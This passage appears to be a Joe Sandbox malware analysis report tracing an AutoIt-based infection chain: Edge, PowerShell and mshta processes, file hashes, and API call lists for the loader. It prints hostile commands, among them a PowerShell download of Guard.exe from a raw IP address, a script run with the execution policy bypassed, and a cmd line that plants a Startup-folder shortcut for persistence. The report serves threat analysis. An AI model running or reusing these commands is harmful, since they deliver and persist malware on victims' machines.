Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:39:58
Start date:	23/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\user\AppData\Roaming\New_2025.webp
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:39:59
Start date:	23/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2104,i,11473878643114958093,389058403593483745,262144 /prefetch:3
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:39:59
Start date:	23/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate --single-argument C:\Users\user\AppData\Roaming\New_2025.webp
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	02:39:59
Start date:	23/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2848 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:3
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	02:40:03
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Roaming\PefjSkkhb.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\PefjSkkhb.exe"
Imagebase:	0x7ff697b40000
File size:	1'083'904 bytes
MD5 hash:	567DE19C0E7E3A1FC845E51AC1C1D5D8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 32%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	02:40:03
Start date:	23/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe""
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	02:40:03
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	02:40:05
Start date:	23/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6948 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	02:40:05
Start date:	23/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6976 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	02:40:09
Start date:	23/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	02:40:09
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	02:40:15
Start date:	23/12/2024
Path:	C:\Users\Public\Guard.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
Imagebase:	0x2d0000
File size:	893'608 bytes
MD5 hash:	18CE19B57F43CE0A5AF149C96AECC685
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 8%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	02:40:18
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	02:40:18
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	02:40:27
Start date:	23/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js"
Imagebase:	0x7ff68fd50000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	02:40:28
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"
Imagebase:	0xd20000
File size:	893'608 bytes
MD5 hash:	18CE19B57F43CE0A5AF149C96AECC685
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 8%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	02:40:59
Start date:	23/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7016 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FF887BA33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1406826139.00007FF887BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff887ba0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: 82560b9ffc78dff3b31f1deccc39539aa1c01ef18c50288c41e9ab1f59a84a7b
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: 7301677115CB0C4FDB44EF0CE451AA9B7E0FB99364F10056DE58AC3691DA36E882CB46

Analysis Process: mshta.exePID: 2764, Parent PID: 5860COMMON

Executed Functions

Function 0000023F45CA0FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.1657349379.0000023F45CA0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000023F45CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_23f45ca0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 32cee9cabcd65ec8db47062ea6de36f686875e4ab2165c9a2f0ebbf760543641
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash: 0B90020889540655D45421E12D4935D54406388194FD48490471AB0144D44D079A5152

Function 0000023F45CA0FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.1657349379.0000023F45CA0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000023F45CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_23f45ca0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 32cee9cabcd65ec8db47062ea6de36f686875e4ab2165c9a2f0ebbf760543641
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash: 0B90020889540655D45421E12D4935D54406388194FD48490471AB0144D44D079A5152

Function 0000023F45CA0FB1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.1657349379.0000023F45CA0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000023F45CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_23f45ca0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 32cee9cabcd65ec8db47062ea6de36f686875e4ab2165c9a2f0ebbf760543641
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash: 0B90020889540655D45421E12D4935D54406388194FD48490471AB0144D44D079A5152

Analysis Process: powershell.exePID: 1820, Parent PID: 2764COMMON

Executed Functions

Function 00007FF886CF49DD Relevance: .5, Instructions: 477COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1651741444.00007FF886CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886cf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b9de074197349d50348623d6ab4ac09c68d909bfe9b1592fdcf78498b4ae890
Instruction ID: d71d3ae548fbbacb8ae2f8a3d1f68e8860006394d5ed0f671b889e61aba1eb9e
Opcode Fuzzy Hash: 8b9de074197349d50348623d6ab4ac09c68d909bfe9b1592fdcf78498b4ae890
Instruction Fuzzy Hash: EFE13331E1CA8A4FE799EB28D4546B83BE2FF59394B5841BEC00DD7293DE68AC05C741

Function 00007FF886CF44CE Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1651741444.00007FF886CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886cf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a52f4d10f1eb8478169d16601b0cadc36e8e751e7989ea01c8fad4719d3da37a
Instruction ID: 0f95874fbeadb95fecf88e0c2033f822d386eb16b7d4f15858354db7eada673e
Opcode Fuzzy Hash: a52f4d10f1eb8478169d16601b0cadc36e8e751e7989ea01c8fad4719d3da37a
Instruction Fuzzy Hash: 4461F532E0DE8A4FE7A9AB6C98612B576D3FF956A0B4841BAD00ED71D3ED489C05C341

Function 00007FF886CF4B46 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1651741444.00007FF886CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886cf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ef258f9a169179c29ddabd9a9b7ab52b897f58f8bb528e8b2277dddf38c9934
Instruction ID: fefae0d5e92c2592b3d05b2c10c40b7b2efaf5ee39e8178e1c5125aa3f971a06
Opcode Fuzzy Hash: 6ef258f9a169179c29ddabd9a9b7ab52b897f58f8bb528e8b2277dddf38c9934
Instruction Fuzzy Hash: F051F332E1CE4A4FE7A4EA28D4546B837D2FF58394B5846BEC00DE7293DE68AC45C741

Function 00007FF886CF34AB Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1651741444.00007FF886CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886cf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f985081fc8a257919bdf3c3d719869dbc042155c39f6c5b9a8fe376296b34d3
Instruction ID: 4e03a89d0eaff6b771c471056ca598bb643013dc9f3f279ec642537229e5646c
Opcode Fuzzy Hash: 2f985081fc8a257919bdf3c3d719869dbc042155c39f6c5b9a8fe376296b34d3
Instruction Fuzzy Hash: 91410552F0DA8A6FE395962CA8942747BD2FFD96A0B4801BBC04DC7197EC5D9C498381

Function 00007FF886CF451A Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1651741444.00007FF886CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886cf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0f5967da932e6ea4c6ff0ff854709fbcfeb2cef6a6487170bdf3087421e118f
Instruction ID: 60608af4f3fb6b8ef4671e6b7f2b001f5c5fae5f927fc53f52082939816cce63
Opcode Fuzzy Hash: c0f5967da932e6ea4c6ff0ff854709fbcfeb2cef6a6487170bdf3087421e118f
Instruction Fuzzy Hash: 62410632E0EE8B4BF3A9A738986527866D3FF952A4B5841B9D40ED71D3ED4C9C05C201

Function 00007FF886C23A05 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1651045794.00007FF886C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886c20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction ID: 35164417ba1bf64a1c70d939d5c2d5bc01bff332c5fa9c57a8cbbd9ea838613a
Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction Fuzzy Hash: 7401677115CB0C8FDB44EF4CE451AA5B7E0FB95364F10056DE58AC3651D636E881CB46

Function 00007FF886CF04D8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1651741444.00007FF886CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886cf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc97e11baa970b29d0961b43e71db7ba631dbca05bb5a08ac552a82962b314a0
Instruction ID: 87727dae525a8d9b990d0cfd15942d0466a4b7a5d3245bee367bb962c5e96aa1
Opcode Fuzzy Hash: dc97e11baa970b29d0961b43e71db7ba631dbca05bb5a08ac552a82962b314a0
Instruction Fuzzy Hash: 21E0D833F0D92E0EBBA1A59C64281F87782FF54A71B440177D90DD3141EC449C109381

Analysis Process: PefjSkkhb.exePID: 7604, Parent PID: 1820COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.9%
Total number of Nodes:	1437
Total number of Limit Nodes:	40

Executed Functions

Function 00007FF697B437B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 145
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF697B43785), ref: 00007FF697B437F2
IsDebuggerPresent.KERNEL32(?,?,?,?,?,00007FF697B43785), ref: 00007FF697B43807
GetFullPathNameW.KERNEL32(?,?,?,?,?,00007FF697B43785), ref: 00007FF697B4388D

Part of subcall function 00007FF697B43F9C: GetFullPathNameW.KERNEL32(D000000000000000,00007FF697B438BF,?,?,?,?,?,00007FF697B43785), ref: 00007FF697B43FFD

SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF697B43785), ref: 00007FF697B43924
MessageBoxA.USER32 ref: 00007FF697B8B888
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF697B43785), ref: 00007FF697B8B8E1
GetForegroundWindow.USER32(?,?,?,?,?,00007FF697B43785), ref: 00007FF697B8B968
ShellExecuteW.SHELL32 ref: 00007FF697B8B98F

Part of subcall function 00007FF697B43B84: GetSysColorBrush.USER32 ref: 00007FF697B43B9E
Part of subcall function 00007FF697B43B84: LoadCursorW.USER32 ref: 00007FF697B43BAE
Part of subcall function 00007FF697B43B84: LoadIconW.USER32 ref: 00007FF697B43BC3
Part of subcall function 00007FF697B43B84: LoadIconW.USER32 ref: 00007FF697B43BDC
Part of subcall function 00007FF697B43B84: LoadIconW.USER32 ref: 00007FF697B43BF5
Part of subcall function 00007FF697B43B84: LoadImageW.USER32 ref: 00007FF697B43C21
Part of subcall function 00007FF697B43B84: RegisterClassExW.USER32 ref: 00007FF697B43C85

Part of subcall function 00007FF697B43CBC: CreateWindowExW.USER32 ref: 00007FF697B43D0C
Part of subcall function 00007FF697B43CBC: CreateWindowExW.USER32 ref: 00007FF697B43D5F
Part of subcall function 00007FF697B43CBC: ShowWindow.USER32 ref: 00007FF697B43D75

Part of subcall function 00007FF697B46258: Shell_NotifyIconW.SHELL32 ref: 00007FF697B46350

Strings

runas, xrefs: 00007FF697B8B973
This is a third-party compiled AutoIt script., xrefs: 00007FF697B8B87F

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Load$IconWindow$CurrentDirectory$CreateFullNamePath$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell_Show
String ID: This is a third-party compiled AutoIt script.$runas
API String ID: 1593035822-3287110873
Opcode ID: 76182cffaad3958b66f0f298839ba34e861d4864c33095e5d1649e464e4238a0
Instruction ID: ac0cd7dfd679e630ce7495ef343725a518926c4db57d1fd09a1ce25e11f85acb
Opcode Fuzzy Hash: 76182cffaad3958b66f0f298839ba34e861d4864c33095e5d1649e464e4238a0
Instruction Fuzzy Hash: 87712872A1C68399FB30AF20E8511F96761FF427D4F8401B6E54DD76AADE2CE649D300

Function 00007FF697B46580 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE ref: 00007FF697B4674B
FindResourceExW.KERNEL32 ref: 00007FF697B4676B
LoadResource.KERNEL32 ref: 00007FF697B8C985
SizeofResource.KERNEL32 ref: 00007FF697B8C99E
LockResource.KERNEL32 ref: 00007FF697B8C9B1

Strings

SCRIPT, xrefs: 00007FF697B4675D
AU3!, xrefs: 00007FF697B465D8
EA06, xrefs: 00007FF697B8CA59

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: AU3!$EA06$SCRIPT
API String ID: 3051347437-2925976212
Opcode ID: 30f6ba7276d28cb9964872315e4a0112bd0f4edd02183a3a1bb8bc557d64f8ed
Instruction ID: 0664b8be3182c8e0a6d1fda220352f4d7387d900b477d6201d69d6189371cf91
Opcode Fuzzy Hash: 30f6ba7276d28cb9964872315e4a0112bd0f4edd02183a3a1bb8bc557d64f8ed
Instruction Fuzzy Hash: FA91CD72B0964296EB30DF21D444ABC2BA5FB46BC8F4541B6DE5DC7789DE38E408E700

Function 00007FF697B61D80 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 251
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32 ref: 00007FF697B61DC8
GetCurrentProcess.KERNEL32 ref: 00007FF697B61F42
IsWow64Process.KERNEL32 ref: 00007FF697B61F52
GetSystemInfo.KERNELBASE ref: 00007FF697B61F8B

Strings

|O, xrefs: 00007FF697BA954C

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Process$CurrentInfoSystemVersionWow64
String ID: |O
API String ID: 1568231622-607156228
Opcode ID: ec54e35f865d5c9bd0249927ea89c9316792baffd49f7d05aa477cb653b26fcc
Instruction ID: cad1256a64336338266d9e52d2f8c0693bc66a483607d4c3792a99c1eee6aa9f
Opcode Fuzzy Hash: ec54e35f865d5c9bd0249927ea89c9316792baffd49f7d05aa477cb653b26fcc
Instruction Fuzzy Hash: 9BD15D22A1D2C2C9FB308F14A8111BD3BA2EF567D4F4440FAD68DC2669DF6CB684D751

Function 00007FF697BDF630 Relevance: 12.4, APIs: 8, Instructions: 350
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32 ref: 00007FF697BDF80A
GetSystemDirectoryW.KERNEL32 ref: 00007FF697BDF838
GetCurrentDirectoryW.KERNEL32 ref: 00007FF697BDF881
GetCurrentDirectoryW.KERNEL32 ref: 00007FF697BDF8AF

Part of subcall function 00007FF697BBFAFC: GetStdHandle.KERNEL32 ref: 00007FF697BBFB23

CreateProcessW.KERNELBASE ref: 00007FF697BDFA43
GetLastError.KERNEL32 ref: 00007FF697BDFA88
CloseHandle.KERNEL32 ref: 00007FF697BDFAC2

Part of subcall function 00007FF697BBF7DC: ~SyncLockT.VCCORLIB ref: 00007FF697BBF7E9
Part of subcall function 00007FF697BBF7DC: ~SyncLockT.VCCORLIB ref: 00007FF697BBF7F2

CloseHandle.KERNEL32 ref: 00007FF697BDFB35

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Directory$Handle$CloseCurrentLockSyncSystem$CreateErrorLastProcess
String ID:
API String ID: 1787492119-0
Opcode ID: ddb31b1ea6ffbce714698367dc00d601beb7cc94552172ff8982eeff5935b681
Instruction ID: ffd991bd73fd191bcc594ea1bc56a58c182cfa9b680153636032af7208738985
Opcode Fuzzy Hash: ddb31b1ea6ffbce714698367dc00d601beb7cc94552172ff8982eeff5935b681
Instruction Fuzzy Hash: 2BE16B36A08B418AEB20DF26D4502BD67A1FB86BD8F044576EE5D877ADDF38E445C700

Function 00007FF697BBC7C0 Relevance: 6.0, APIs: 4, Instructions: 24filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 00007FF697BBC7CC
GetFileAttributesW.KERNELBASE ref: 00007FF697BBC7E0
FindFirstFileW.KERNEL32 ref: 00007FF697BBC7F3
FindClose.KERNEL32 ref: 00007FF697BBC802

Memory Dump Source

